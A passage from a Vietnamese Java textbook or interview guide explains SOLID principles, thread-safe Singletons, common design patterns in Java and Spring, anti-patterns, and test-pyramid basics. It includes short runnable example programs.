Một số tài liệu viết "đừng ném NotImplementedException ở class con". Java không có class này (đó là của .NET); tương đương trong Java là UnsupportedOperationException. Chính List.of(...) ném exception này khi gọi add, và đó là một vi phạm Liskov có chủ đích mà JDK chấp nhận.



I – Interface Segregation
Client không nên phụ thuộc vào method mà nó không dùng. Ví dụ thực tế trong Spring Data: service chỉ cần đọc nhưng inject JpaRepository thì có trong tay cả deleteAll(). Có thể khai báo interface hẹp chỉ chứa đúng những method mà service đọc cần:
	import java.util.List;
import java.util.Optional;
import org.springframework.data.repository.Repository;
 
// Repository is a marker interface with no methods (unlike JpaRepository)
public interface ProductReadRepository extends Repository<Product, Long> {
    Optional<Product> findById(Long id);            // same signature as CrudRepository, Spring reuses its implementation
    List<Product> findByCategory(String category);  // query derived from the method name
}



Giải thích: Spring Data vẫn tạo proxy cài đặt interface này lúc khởi động, nhưng chỉ lộ ra hai method được khai báo. Service inject ProductReadRepository sẽ không thể gọi save() hay deleteAll(): lỗi xuất hiện ngay lúc biên dịch thay vì chờ tới code review. Đây là cách áp dụng Interface Segregation: mỗi client thấy đúng phần interface nó cần, và quyền ghi được giới hạn ở những service thực sự được phép ghi.
Dấu hiệu vi phạm: implementation có nhiều method rỗng hoặc ném exception, hoặc một thay đổi trong interface buộc phải sửa những class không liên quan.
Ví dụ Java thuần kinh điển hơn: một interface "máy văn phòng" gộp in, scan, fax, buộc máy in đơn giản phải cài cả những chức năng nó không có.
	public class IspViolation {
    interface Machine {                       // one fat interface for every device
        void print(String doc);
        void scan(String doc);
        void fax(String doc);
    }
    static class BasicPrinter implements Machine {
        public void print(String doc) { System.out.println("Printing " + doc); }
        public void scan(String doc) { throw new UnsupportedOperationException("scan"); } // forced stub
        public void fax(String doc)  { throw new UnsupportedOperationException("fax"); }  // forced stub
    }
 
    public static void main(String[] args) {
        Machine m = new BasicPrinter();
        m.print("invoice.pdf");                // prints: Printing invoice.pdf
        try {
            m.scan("contract.pdf");            // compiles fine, fails only at runtime
        } catch (UnsupportedOperationException e) {
            System.out.println("Runtime error: " + e.getMessage()); // prints: Runtime error: scan
        }
    }
}



Giải thích: trình biên dịch cho phép gọi m.scan(...) vì kiểu Machine có method đó, nên lỗi chỉ lộ ra lúc chạy. Hậu quả khi yêu cầu thay đổi: thêm method email(String doc) vào Machine thì mọi class implement, kể cả máy in không liên quan, đều phải sửa để biên dịch lại. Bản sửa chia interface theo năng lực:
	public class IspFixed {
    interface Printer { void print(String doc); }
    interface Scanner { void scan(String doc); }
 
    static class BasicPrinter implements Printer {
        public void print(String doc) { System.out.println("Printing " + doc); }
    }
    static class OfficeMachine implements Printer, Scanner { // implements only what it really supports
        public void print(String doc) { System.out.println("Office printing " + doc); }
        public void scan(String doc)  { System.out.println("Scanning " + doc); }
    }
    // The client asks for exactly the capability it needs
    static void printAll(Printer p, String... docs) {
        for (String d : docs) p.print(d);
    }
 
    public static void main(String[] args) {
        printAll(new BasicPrinter(), "invoice.pdf"); // prints: Printing invoice.pdf
        Scanner s = new OfficeMachine();
        s.scan("contract.pdf");                       // prints: Scanning contract.pdf
        // Scanner bad = new BasicPrinter();          // compile error: incompatible types
    }
}



Giải thích: giờ không thể có một Scanner không biết scan: dòng cuối bị comment nếu bỏ comment sẽ báo lỗi biên dịch incompatible types: BasicPrinter cannot be converted to Scanner. Lỗi chuyển từ lúc chạy sang lúc biên dịch, và thêm năng lực mới (Fax) là thêm interface mới, không đụng tới class cũ.
D – Dependency Inversion
Module cấp cao (nghiệp vụ) không phụ thuộc module cấp thấp (chi tiết hạ tầng); cả hai phụ thuộc vào abstraction, và abstraction thuộc về phía nghiệp vụ. OrderService phụ thuộc vào interface PaymentGateway do chính tầng nghiệp vụ định nghĩa, còn VnpayPaymentGateway ở tầng hạ tầng implement nó.
	Khái niệm
	Là gì
	Ví dụ

	DIP
	Nguyên tắc thiết kế về hướng phụ thuộc
	Service phụ thuộc interface PaymentGateway

	DI
	Kỹ thuật đưa dependency từ ngoài vào
	Constructor injection

	IoC
	Nguyên lý đảo quyền điều khiển cho framework
	Spring container tạo và quản lý bean



	BẪY THƯỜNG GẶP
"Dùng @Autowired là đã tuân thủ DIP." Nếu bạn inject thẳng VnpayPaymentGateway (class cụ thể) thì bạn có DI nhưng không có DIP. Ngoài ra nên dùng constructor injection thay vì field injection để dependency rõ ràng, field có thể final và dễ test không cần Spring.



Đoạn code dưới đây vi phạm DIP: tầng nghiệp vụ tự new class hạ tầng cụ thể.
	public class DipViolation {
    static class VnpayClient {                                // low-level infrastructure detail
        String charge(long amount) { return "VNPAY-OK-" + amount; }
    }
    static class OrderService {
        private final VnpayClient client = new VnpayClient(); // business code picks the concrete class itself
        String checkout(long amount) { return client.charge(amount); }
    }
 
    public static void main(String[] args) {
        System.out.println(new OrderService().checkout(150_000)); // prints: VNPAY-OK-150000
    }
}



Giải thích: code chạy, nhưng OrderService bị trói vào VNPAY. Khi có yêu cầu "thêm MoMo" hoặc "test luồng checkout mà không gọi cổng thanh toán thật", bạn buộc phải sửa OrderService, tức là sửa nghiệp vụ chỉ vì chi tiết hạ tầng đổi. Bản sửa đảo hướng phụ thuộc: nghiệp vụ định nghĩa interface, hạ tầng implement nó, và implementation được truyền từ ngoài vào.
	public class DipFixed {
    interface PaymentGateway { String charge(long amount); } // owned by the business layer
 
    static class VnpayGateway implements PaymentGateway {
        public String charge(long amount) { return "VNPAY-OK-" + amount; }
    }
    static class MomoGateway implements PaymentGateway {
        public String charge(long amount) { return "MOMO-OK-" + amount; }
    }
    static class OrderService {
        private final PaymentGateway gateway;
        OrderService(PaymentGateway gateway) { this.gateway = gateway; } // injected from outside (DI)
        String checkout(long amount) { return gateway.charge(amount); }
    }
 
    public static void main(String[] args) {
        System.out.println(new OrderService(new VnpayGateway()).checkout(150_000)); // prints: VNPAY-OK-150000
        System.out.println(new OrderService(new MomoGateway()).checkout(150_000));  // prints: MOMO-OK-150000
        PaymentGateway fake = amount -> "FAKE-" + amount;                            // test double as a lambda
        System.out.println(new OrderService(fake).checkout(1));                      // prints: FAKE-1
    }
}



Giải thích: OrderService giờ chỉ biết PaymentGateway. Thêm MoMo là thêm một class; test thì truyền một lambda giả, không cần mạng, không cần Mockito. Trong Spring, dòng new OrderService(new VnpayGateway()) do container làm thay bạn qua constructor injection; đó là lý do DIP và DI hay đi cùng nhau nhưng không phải một.
10.3 Singleton: viết thế nào cho thread-safe
	NHẮC LẠI KIẾN THỨC
volatile bảo đảm thread khác nhìn thấy ngay giá trị vừa ghi và cấm JVM sắp xếp lại lệnh quanh lần ghi đó; synchronized bảo đảm tại một thời điểm chỉ một thread chạy đoạn code được khóa. Chi tiết về happens-before ở mục 3.3 và 3.4. Singleton là một trong các pattern cơ bản đã giới thiệu ở N2.12.



Bài toán: nhiều thread cùng gọi getInstance() lần đầu, làm sao chắc chắn chỉ một object được tạo và mọi thread đều thấy object đã khởi tạo xong. Hai cách đầu dưới đây giao việc đó cho chính JVM.
	import java.util.concurrent.atomic.AtomicLong;
 
// Option 1: enum - thread-safe, safe against reflection and serialization
enum IdGenerator {
    INSTANCE; // created exactly once when the enum class is initialized
    private final AtomicLong counter = new AtomicLong();
    public long next() { return counter.incrementAndGet(); } // AtomicLong: no duplicate ids even with many threads
}
 
// Option 2: holder - lazy and thread-safe thanks to JVM class initialization
final class AppClock {
    private AppClock() {}
    // Holder is initialized on the first getInstance() call -> instance created then
    private static final class Holder { static final AppClock INSTANCE = new AppClock(); }
    public static AppClock getInstance() { return Holder.INSTANCE; }
}



Giải thích: gọi IdGenerator.INSTANCE.next() từ nhiều thread sẽ nhận 1, 2, 3... không trùng lặp và luôn trên cùng một object. Với enum, JVM tự đảm bảo chỉ có một hằng INSTANCE; gọi constructor qua reflection bị chặn (IllegalArgumentException: Cannot reflectively create enum objects), còn deserialize chỉ trả lại đúng hằng đã có. Với holder, class Holder chưa được khởi tạo cho tới lần đầu getInstance() truy cập Holder.INSTANCE; JVM thực hiện khởi tạo class dưới một khóa nội bộ và chỉ đúng một lần (JLS 12.4.2), nên có được cả lazy lẫn thread-safe mà không cần synchronized ở mỗi lần gọi.
Cách thứ ba, double-checked locking, hay được yêu cầu viết tay để kiểm tra hiểu biết về Java Memory Model:
	// Option 3: double-checked locking - volatile is mandatory
public final class Registry {
    private static volatile Registry instance; // without volatile this is broken
    private Registry() {}
 
    public static Registry getInstance() {
        Registry local = instance;            // read the volatile field once into a local variable
        if (local == null) {                  // first check: no lock, fast path for later calls
            synchronized (Registry.class) {
                local = instance;
                if (local == null) {          // second check: another thread may have created it while we waited
                    instance = local = new Registry();
                }
            }
        }
        return local;
    }
}



Giải thích: lần kiểm tra thứ nhất giúp mọi lần gọi sau khi đã có instance không phải lấy khóa. Lần kiểm tra thứ hai cần thiết vì hai thread có thể cùng thấy null ở lần một; thread vào synchronized sau phải thấy instance thread trước vừa tạo để không tạo thêm. Biến local chỉ để giảm số lần đọc field volatile. Thiếu volatile, JVM được phép sắp xếp lại lệnh để gán tham chiếu trước khi constructor chạy xong; thread khác thấy instance != null và dùng một object chưa khởi tạo đầy đủ. volatile thiết lập quan hệ happens-before giữa lần ghi và lần đọc.
Trong ứng dụng Spring, bạn gần như không tự viết Singleton: bean mặc định có scope singleton, một instance cho mỗi bean definition trong một ApplicationContext. Điều này khác Singleton của GoF (một instance cho mỗi ClassLoader). Tự viết Singleton còn làm code khó test vì không thay được bằng mock.
	BẪY THƯỜNG GẶP
"Bean singleton nên thread-safe." Sai. Spring không đồng bộ gì cả; bean singleton an toàn chỉ vì nó stateless. Thêm một field private List<Order> buffer vào service là tạo race condition giữa các request.



Nơi gặp Singleton trong JDK và Spring: Runtime.getRuntime() trả về đúng một object Runtime cho cả JVM; Collections.emptyList() luôn trả cùng một list rỗng bất biến; trong Spring là scope mặc định của bean (xem mục 4.2).
10.4 Các pattern hay hỏi và gắn với Spring
	Pattern
	Ý tưởng
	Ở đâu trong Spring/Java

	Factory
	Ẩn logic tạo object, trả về abstraction
	BeanFactory, List.of, LocalDate.of

	Builder
	Tạo object nhiều tham số tùy chọn từng bước
	Lombok @Builder, RestClient.builder()

	Strategy
	Họ thuật toán thay thế nhau được
	Nhiều implementation của một interface được inject

	Template Method
	Khung thuật toán cố định, bước cụ thể do bên ngoài cung cấp
	JdbcTemplate, TransactionTemplate

	Proxy
	Đối tượng đại diện chặn lời gọi để thêm hành vi
	AOP, @Transactional, @Cacheable

	Observer
	Phát sự kiện, nhiều bên lắng nghe
	ApplicationEventPublisher, @EventListener

	Decorator
	Bọc object để thêm hành vi, cùng interface
	BufferedInputStream, TransactionAwareCacheDecorator

	Adapter
	Chuyển interface này sang interface khác
	HandlerAdapter trong Spring MVC



	NHẮC LẠI KIẾN THỨC
Design pattern là "lời giải đã có tên" cho một vấn đề thiết kế lặp đi lặp lại; N2.12 đã giới thiệu định nghĩa và ví dụ ngắn của Singleton, Factory, Builder, Strategy, Observer. Proxy trong Spring (JDK dynamic proxy và CGLIB) được phân tích ở mục 4.4. Mục này đi theo cùng một khuôn cho từng pattern: vấn đề cần giải quyết, code khi chưa dùng pattern, code khi dùng pattern, và nơi bạn đã gặp nó trong JDK hoặc Spring.



Factory
Vấn đề: nhiều nơi trong code cần chọn và tạo object cụ thể theo một điều kiện (kênh gửi thông báo là email hay SMS). Nếu mỗi nơi tự viết if ... new ..., logic chọn bị copy khắp nơi, thêm kênh mới phải sửa tất cả. Factory gom việc "tạo object nào" vào một chỗ và trả về abstraction.
	public class FactoryDemo {
    interface Notifier { String send(String to, String msg); }
    record EmailNotifier() implements Notifier {
        public String send(String to, String msg) { return "EMAIL to " + to + ": " + msg; }
    }
    record SmsNotifier() implements Notifier {
        public String send(String to, String msg) { return "SMS to " + to + ": " + msg; }
    }
    // Without a factory: this if-else is copied into checkout, refund, OTP services...
    static String checkoutWithoutFactory(String channel) {
        Notifier n;
        if (channel.equals("EMAIL")) n = new EmailNotifier();
        else if (channel.equals("SMS")) n = new SmsNotifier();
        else throw new IllegalArgumentException(channel);
        return n.send("0901", "Order confirmed");
    }
    // With a factory: the only place that maps a channel to a concrete class
    static Notifier notifierFor(String channel) {
        return switch (channel) {
            case "EMAIL" -> new EmailNotifier();
            case "SMS"   -> new SmsNotifier();
            default -> throw new IllegalArgumentException("Unknown channel: " + channel);
        };
    }
 
    public static void main(String[] args) {
        System.out.println(checkoutWithoutFactory("SMS"));                  // prints: SMS to 0901: Order confirmed
        System.out.println(notifierFor("SMS").send("0901", "OTP 123456")); // prints: SMS to 0901: OTP 123456
    }
}



Giải thích: cả hai cách đều in ra tin nhắn SMS. Khác biệt là khi thêm kênh Zalo: không có factory, bạn phải tìm mọi chỗ có chuỗi if tương tự để sửa; có factory, bạn sửa đúng notifierFor, còn code gọi chỉ biết kiểu Notifier. Nơi gặp: JDK có List.of(...), LocalDate.of(...), NumberFormat.getInstance() (static factory method trả về object phù hợp mà người gọi không cần biết class cụ thể); Spring có BeanFactory.getBean(...) và interface FactoryBean.
Strategy thay khối if-else lớn
Tình huống: PaymentService.pay() có một khối if (method == COD) ... else if (method == VNPAY) ... else if (method == MOMO) ... dài hàng trăm dòng, mỗi lần thêm cổng thanh toán lại phải sửa chính method này. Đoạn code dưới đây tách mỗi nhánh thành một class riêng.
	public interface PaymentStrategy {
    PaymentMethod method();          // which payment method this strategy handles (COD, VNPAY...)
    PaymentResult pay(Order order);
}
 
@Service
public class PaymentService {
    private final Map<PaymentMethod, PaymentStrategy> strategies;
 
    // Spring injects every bean implementing PaymentStrategy into the List
    public PaymentService(List<PaymentStrategy> all) {
        this.strategies = all.stream()
                .collect(Collectors.toMap(PaymentStrategy::method, Function.identity())); // duplicate key -> fails at startup
    }
 
    public PaymentResult pay(Order order) {
        PaymentStrategy s = strategies.get(order.paymentMethod()); // map lookup instead of an if-else chain
        if (s == null) throw new IllegalArgumentException("Không hỗ trợ: " + order.paymentMethod());
        return s.pay(order);
    }
}



Giải thích: giả sử có ba bean CodPayment, VnpayPayment, MomoPayment cùng implement PaymentStrategy. Khi khởi động, Spring truyền cả ba vào constructor dưới dạng List, constructor biến list đó thành Map từ PaymentMethod sang strategy. Khi đơn hàng có paymentMethod = VNPAY, pay() tra map lấy VnpayPayment và giao việc cho nó; phương thức không có trong map thì nhận ngay một lỗi rõ nghĩa thay vì NullPointerException. Thêm phương thức thanh toán mới chỉ cần thêm một @Component implement PaymentStrategy, không sửa PaymentService. Spring cũng có thể inject thẳng Map<String, PaymentStrategy> với key là tên bean, nhưng tôi thích key là enum để tránh phụ thuộc vào tên bean. Collectors.toMap còn tự ném lỗi khi hai strategy trùng method, phát hiện cấu hình sai ngay lúc khởi động.
Để thấy rõ pattern đã thay thế cái gì, đây là phiên bản "chưa dùng Strategy" rút gọn bằng Java thuần:
	public class PaymentIfElse {
    enum Method { COD, VNPAY, MOMO }
 
    static String pay(Method m, long amount) {
        if (m == Method.COD) {
            return "COD: collect " + amount + " on delivery";
        } else if (m == Method.VNPAY) {
            return "VNPAY: redirect, amount " + amount; // imagine 80 lines of signing and HTTP calls here
        } else if (m == Method.MOMO) {
            return "MOMO: create QR, amount " + amount; // and another 80 lines here
        }
        throw new IllegalArgumentException("Unsupported: " + m);
    }
 
    public static void main(String[] args) {
        System.out.println(pay(Method.VNPAY, 200_000)); // prints: VNPAY: redirect, amount 200000
    }
}



Giải thích: với ba nhánh ngắn thì code này dễ đọc, không có gì sai. Nó trở thành vấn đề khi mỗi nhánh dài hàng chục dòng, mỗi cổng có dependency riêng (HTTP client, khóa ký), và nhiều người cùng sửa một method. So với bản Strategy ở trên: mỗi nhánh thành một class test riêng được, thêm cổng mới không chạm vào code cổng cũ. Nơi gặp Strategy: JDK có Comparator truyền vào List.sort(...) (thuật toán so sánh là strategy), RejectedExecutionHandler của ThreadPoolExecutor; Spring có PasswordEncoder (BCrypt, Argon2 thay nhau được) và danh sách HandlerMethodArgumentResolver trong Spring MVC.
Builder
Builder hợp với object nhiều field tùy chọn, tránh constructor 10 tham số dễ truyền nhầm thứ tự. Lombok @Builder sinh code sẵn; lưu ý field có giá trị mặc định phải đánh @Builder.Default, nếu không builder sẽ bỏ qua giá trị khởi tạo. Với JPA entity, @Builder cần đi cùng @NoArgsConstructor và @AllArgsConstructor vì Hibernate cần constructor không tham số.
Vấn đề: constructor có nhiều tham số cùng kiểu (int, String) thì người gọi rất dễ truyền nhầm thứ tự mà trình biên dịch không phát hiện. Đoạn code dưới đây cho thấy lỗi đó và cách Builder khắc phục.
	public class BuilderDemo {
    // Without a builder: 6 positional arguments, two ints are easy to swap
    record HttpRequestSpec(String url, String method, int connectTimeoutMs, int readTimeoutMs,
                           int retries, boolean gzip) {}
 
    static final class RequestBuilder {
        private final String url;
        private String method = "GET";                    // sensible defaults
        private int connectTimeoutMs = 1_000, readTimeoutMs = 3_000, retries = 0;
        private boolean gzip = false;
        RequestBuilder(String url) { this.url = url; }
        RequestBuilder method(String m) { this.method = m; return this; }
        RequestBuilder readTimeoutMs(int ms) { this.readTimeoutMs = ms; return this; }
        RequestBuilder retries(int r) { this.retries = r; return this; }
        HttpRequestSpec build() {
            if (retries < 0) throw new IllegalStateException("retries must be >= 0"); // validate once
            return new HttpRequestSpec(url, method, connectTimeoutMs, readTimeoutMs, retries, gzip);
        }
    }
 
    public static void main(String[] args) {
        // intent: read timeout 5s, but the two ints were swapped
        var bad = new HttpRequestSpec("/pay", "POST", 5_000, 1_000, 3, true);
        var good = new RequestBuilder("/pay").method("POST").readTimeoutMs(5_000).retries(3).build();
        System.out.println(bad.readTimeoutMs() + " vs " + good.readTimeoutMs()); // prints: 1000 vs 5000
    }
}



Giải thích: người viết dòng bad muốn read timeout 5 giây nhưng đặt nhầm vị trí, kết quả read timeout chỉ còn 1 giây, và lỗi chỉ lộ ra khi cổng thanh toán chậm trên production. Với builder, mỗi giá trị đi kèm tên (readTimeoutMs(5_000)), field không đặt thì lấy mặc định, và build() là chỗ duy nhất kiểm tra tính hợp lệ. Nơi gặp: JDK có StringBuilder, HttpRequest.newBuilder(), Stream.builder(); Spring có RestClient.builder(), UriComponentsBuilder, ResponseEntity.status(...).body(...).
Template Method, Proxy, Observer
JdbcTemplate lo phần cố định (lấy connection, tạo statement, xử lý exception, đóng tài nguyên), bạn chỉ cung cấp SQL và RowMapper. Đó là Template Method dạng callback.
Proxy là nền của AOP: Spring tạo proxy (CGLIB mặc định trong Spring Boot, hoặc JDK dynamic proxy khi dựa trên interface) bọc bean, chặn lời gọi để mở transaction, kiểm tra cache, kiểm tra quyền. Đây là lý do self-invocation bỏ qua @Transactional.
Observer: service publish OrderPlacedEvent, các listener gửi email, cộng điểm thưởng mà service không cần biết. Mặc định listener chạy đồng bộ trong cùng thread và cùng transaction; muốn chạy sau khi commit dùng @TransactionalEventListener, muốn bất đồng bộ thêm @Async. Event trong JVM mất khi app chết; việc quan trọng thì dùng outbox và message broker.
Dưới đây là ba ví dụ Java thuần, mỗi ví dụ đi theo khuôn: vấn đề, code chưa dùng pattern, code dùng pattern, nơi gặp trong JDK/Spring.
Template Method. Vấn đề: nhiều quy trình có chung khung (mở tài nguyên, xử lý, đóng tài nguyên) và chỉ khác một bước ở giữa. Copy khung đó cho mỗi quy trình thì sớm muộn sẽ có bản quên bước đóng tài nguyên.
	import java.util.List;
 
public class TemplateMethodDemo {
    // Without the pattern: every exporter repeats open/close; a copy may forget [close]
    static String exportCsvWithoutTemplate(List<String> rows) {
        StringBuilder out = new StringBuilder("[open]");
        for (String r : rows) out.append(r).append(";");
        return out.append("[close]").toString();
    }
    // With the pattern: the fixed skeleton lives in one final method
    abstract static class Exporter {
        final String export(List<String> rows) {
            StringBuilder out = new StringBuilder("[open]");  // fixed step
            out.append(header());                             // optional hook
            for (String r : rows) out.append(formatRow(r));   // varying step
            return out.append("[close]").toString();          // fixed step, never forgotten
        }
        String header() { return ""; }
        abstract String formatRow(String row);
    }
    static class CsvExporter extends Exporter {
        @Override String header() { return "name;"; }
        @Override String formatRow(String row) { return row + ";"; }
    }
 
    public static void main(String[] args) {
        System.out.println(exportCsvWithoutTemplate(List.of("An", "Binh"))); // prints: [open]An;Binh;[close]
        System.out.println(new CsvExporter().export(List.of("An", "Binh")));  // prints: [open]name;An;Binh;[close]
    }
}



Giải thích: export là final nên class con không thể phá khung; class con chỉ điền formatRow và tùy chọn header. Thêm JsonExporter là viết thêm một class ngắn, phần mở/đóng tự có. Nơi gặp: JDK có AbstractList (bạn chỉ cài get và size, các method còn lại như indexOf, iterator dựng sẵn trên hai method đó); Spring có JdbcTemplate (dạng callback), OncePerRequestFilter (bạn chỉ viết doFilterInternal, xem mục 11.5).
Proxy. Vấn đề: việc "chung" như đo thời gian, mở transaction, kiểm tra quyền cần chạy quanh rất nhiều method nghiệp vụ. Dán code đó vào từng method thì nghiệp vụ lẫn với hạ tầng.
	import java.lang.reflect.Proxy;
 
public class ProxyDemo {
    interface PriceService { long priceOf(String sku); }
 
    static class RealPriceService implements PriceService {
        public long priceOf(String sku) { return 120_000; }
    }
    // Without a proxy: cross-cutting code pasted into every business method
    static class PriceServiceWithLogging implements PriceService {
        public long priceOf(String sku) {
            System.out.println("start priceOf");
            long p = 120_000;
            System.out.println("end priceOf");
            return p;
        }
    }
 
    public static void main(String[] args) {
        PriceService target = new RealPriceService();
        // With a proxy: one handler wraps every method of the interface
        PriceService proxy = (PriceService) Proxy.newProxyInstance(
                PriceService.class.getClassLoader(), new Class<?>[]{PriceService.class},
                (p, method, methodArgs) -> {
                    System.out.println("before " + method.getName()); // like Spring opening a transaction
                    Object result = method.invoke(target, methodArgs);
                    System.out.println("after " + method.getName());  // like Spring committing
                    return result;
                });
        System.out.println(proxy.priceOf("SKU-1")); // prints: before priceOf | after priceOf | 120000
    }
}



Giải thích: người gọi cầm proxy và tưởng đó là PriceService bình thường; mọi lời gọi đi qua handler, handler in "before", gọi object thật, in "after". RealPriceService hoàn toàn sạch. Đây chính là cách @Transactional hoạt động, và cũng giải thích vì sao gọi method trong cùng class (this.priceOf) không đi qua proxy nên không có transaction. Nơi gặp: JDK có java.lang.reflect.Proxy (dùng ở trên); Spring có AOP, @Transactional, @Cacheable, và repository của Spring Data (bạn chỉ viết interface, Spring tạo proxy cài đặt).
Observer. Vấn đề: sau khi đặt đơn cần gửi email, cộng điểm, báo kho. Nếu OrderService gọi thẳng từng việc, mỗi yêu cầu "làm thêm X sau khi đặt đơn" lại phải sửa OrderService.
	import java.util.ArrayList;
import java.util.List;
import java.util.function.Consumer;
 
public class ObserverDemo {
    record OrderPlaced(long orderId, String email) {}
 
    // Without the pattern: the publisher calls every follow-up action directly
    static void placeOrderWithoutObserver(long id, String email) {
        System.out.println("saved " + id);
        System.out.println("email to " + email);        // each new requirement = edit this method
        System.out.println("add loyalty points " + id);
    }
    // With the pattern: listeners subscribe, the publisher just announces the event
    static final List<Consumer<OrderPlaced>> listeners = new ArrayList<>();
 
    static void placeOrder(long id, String email) {
        System.out.println("saved " + id);
        OrderPlaced event = new OrderPlaced(id, email);
        listeners.forEach(l -> l.accept(event));        // publisher does not know who listens
    }
 
    public static void main(String[] args) {
        listeners.add(e -> System.out.println("email to " + e.email()));
        listeners.add(e -> System.out.println("add loyalty points " + e.orderId()));
        placeOrder(42, "an@shop.vn"); // prints: saved 42 | email to an@shop.vn | add loyalty points 42
    }
}



Giải thích: hai cách in ra cùng ba dòng, nhưng ở cách thứ hai, thêm "báo kho" là thêm một listener, placeOrder không đổi. Lưu ý listener ở đây chạy tuần tự trong cùng thread, giống hệt @EventListener mặc định của Spring: listener ném exception thì người publish cũng nhận exception. Nơi gặp: JDK có PropertyChangeListener, java.util.concurrent.Flow; Spring có ApplicationEventPublisher, @EventListener, @TransactionalEventListener.
Decorator và Adapter
Decorator bọc một object cùng interface để thêm hành vi mà không sửa class gốc, ví dụ CachingExchangeRateClient bọc HttpExchangeRateClient. Ưu điểm so với kế thừa: kết hợp linh hoạt lúc runtime (cache rồi log rồi retry), không bùng nổ số class con.
Adapter dùng khi tích hợp SDK đối tác: bạn định nghĩa interface SmsSender của mình, viết TwilioSmsAdapter chuyển lời gọi sang SDK. Đổi nhà cung cấp chỉ cần viết adapter mới.
Decorator. Vấn đề: muốn thêm cache, log, retry cho một client theo nhiều tổ hợp khác nhau. Dùng kế thừa thì mỗi tổ hợp là một class con (CachingHttpClient, LoggingCachingHttpClient...), số class tăng theo cấp số nhân.
	import java.util.HashMap;
import java.util.Map;
 
public class DecoratorDemo {
    interface RateClient { double rate(String currency); }
 
    static class HttpRateClient implements RateClient {
        int calls = 0;
        public double rate(String currency) { calls++; return 25_400.0; } // pretend: slow HTTP call
    }
    // Without the pattern: one subclass per combination of features
    static class CachingHttpRateClient extends HttpRateClient {
        private final Map<String, Double> cache = new HashMap<>();
        @Override public double rate(String c) { return cache.computeIfAbsent(c, super::rate); }
    }
    // With the pattern: wrappers share the interface and can be stacked in any order
    record CachingRateClient(RateClient inner, Map<String, Double> cache) implements RateClient {
        public double rate(String c) { return cache.computeIfAbsent(c, inner::rate); }
    }
    record LoggingRateClient(RateClient inner) implements RateClient {
        public double rate(String c) { System.out.println("rate(" + c + ")"); return inner.rate(c); }
    }
 
    public static void main(String[] args) {
        var http = new HttpRateClient();
        RateClient client = new LoggingRateClient(new CachingRateClient(http, new HashMap<>()));
        client.rate("USD");
        client.rate("USD");
        System.out.println("HTTP calls: " + http.calls); // prints: rate(USD) | rate(USD) | HTTP calls: 1
    }
}



Giải thích: lớp ngoài cùng là log nên cả hai lần gọi đều được in; lớp cache ở giữa trả kết quả lần hai từ bộ nhớ nên HTTP chỉ bị gọi một lần. Đảo thứ tự (cache bọc ngoài log) thì chỉ lần gọi đầu được log, vì lần hai cache trả lời trước khi tới lớp log. Thêm retry là thêm một record RetryingRateClient, không cần class con mới cho từng tổ hợp. Nơi gặp: JDK có BufferedInputStream(new FileInputStream(...)), Collections.unmodifiableList(list); Spring có TransactionAwareCacheDecorator, ContentCachingRequestWrapper.
Adapter. Vấn đề: SDK của đối tác có tên method, định dạng dữ liệu khác với code của bạn. Gọi thẳng SDK ở khắp nơi thì kiểu dữ liệu của SDK lan vào nghiệp vụ, đổi nhà cung cấp là sửa hàng chục file.
	public class AdapterDemo {
    // Third-party SDK we cannot change: different names, expects E.164 phone format
    static class VendorSmsSdk {
        String sendMessage(String fromNumber, String toNumber, String body) {
            return "SID-" + toNumber;
        }
    }
    // Our own interface, shaped by our business needs
    interface SmsSender { boolean send(String phone, String text); }
 
    // Without the pattern: services call the SDK directly and repeat the conversion
    static boolean sendOtpWithoutAdapter(VendorSmsSdk sdk, String phone) {
        return sdk.sendMessage("+1555", "+84" + phone.substring(1), "OTP 1234") != null;
    }
    // With the pattern: the adapter translates our call into the SDK call
    record VendorSmsAdapter(VendorSmsSdk sdk, String from) implements SmsSender {
        public boolean send(String phone, String text) {
            String e164 = "+84" + phone.substring(1);   // format conversion lives here only
            return sdk.sendMessage(from, e164, text) != null;
        }
    }
 
    public static void main(String[] args) {
        System.out.println(sendOtpWithoutAdapter(new VendorSmsSdk(), "0901234567")); // prints: true
        SmsSender sender = new VendorSmsAdapter(new VendorSmsSdk(), "+1555");
        System.out.println(sender.send("0901234567", "OTP 1234"));                   // prints: true
    }
}



Giải thích: kết quả như nhau, nhưng với adapter, nghiệp vụ chỉ biết SmsSender.send(phone, text). Đổi sang nhà cung cấp khác là viết adapter mới và đổi bean, code gửi OTP không đổi; trong test, thay SmsSender bằng một fake in ra console. Nơi gặp: JDK có Arrays.asList(array) (mảng thành List), InputStreamReader (luồng byte thành luồng ký tự); Spring có HandlerAdapter (DispatcherServlet gọi mọi kiểu handler qua một interface chung), MessageListenerAdapter.
10.5 Anti-pattern hay gặp
1. God class/God service: một class làm mọi thứ, ai cũng sửa, conflict liên tục.
1. Over-engineering: interface cho mọi class dù chỉ có một implementation và không có lý do test; Factory của Factory; áp pattern cho có.
1. Service Locator: gọi applicationContext.getBean(...) rải rác thay vì inject, che giấu dependency.
1. Anemic logic rải rác: cùng một quy tắc tính giảm giá được copy ở 3 service.
1. Exception dùng cho luồng điều khiển và nuốt exception.
1. Primitive obsession: truyền String cho mọi thứ (email, phone, currency) thay vì value object.
1. Kế thừa sâu chỉ để tái sử dụng code; ưu tiên composition.
	MẸO TỪ NGƯỜI PHỎNG VẤN
Khi được hỏi về pattern, hãy kể một lần bạn bỏ một pattern vì nó không đáng. Điều đó thuyết phục hơn liệt kê 23 pattern GoF.



10.6 Testing: kim tự tháp và công cụ
	NHẮC LẠI KIẾN THỨC
Code chỉ test được dễ dàng khi dependency được truyền từ ngoài vào qua constructor (DI, mục 10.2 phần D): khi đó test có thể truyền object giả thay cho DB hay HTTP client thật. Class tự new dependency bên trong (như DipViolation ở trên) thì gần như không thể unit test.



Test pyramid: nhiều unit test (nhanh, cô lập), ít hơn integration test (có DB thật, có Spring context), rất ít end-to-end test (chậm, dễ vỡ). Mục tiêu là phản hồi nhanh khi sửa code và tin được kết quả.
Ba loại test nói bằng lời thường
1. Unit test kiểm tra một mẩu logic nhỏ (thường là một class) tách khỏi mọi thứ bên ngoài: không DB, không mạng, không Spring context. Ví dụ: kiểm tra PricingService.total(10, 20_000) trả 180000. Chạy trong vài mili giây, chạy hàng nghìn test mỗi lần build.
1. Integration test kiểm tra nhiều thành phần thật ghép với nhau, thường có DB thật hoặc Spring context. Ví dụ: lưu một Order qua repository rồi đọc lại bằng query findByStatus trên PostgreSQL chạy trong Docker. Chậm hơn (vài giây), bắt được lỗi mà unit test không thấy: sai tên cột, sai cú pháp SQL, sai cấu hình transaction.
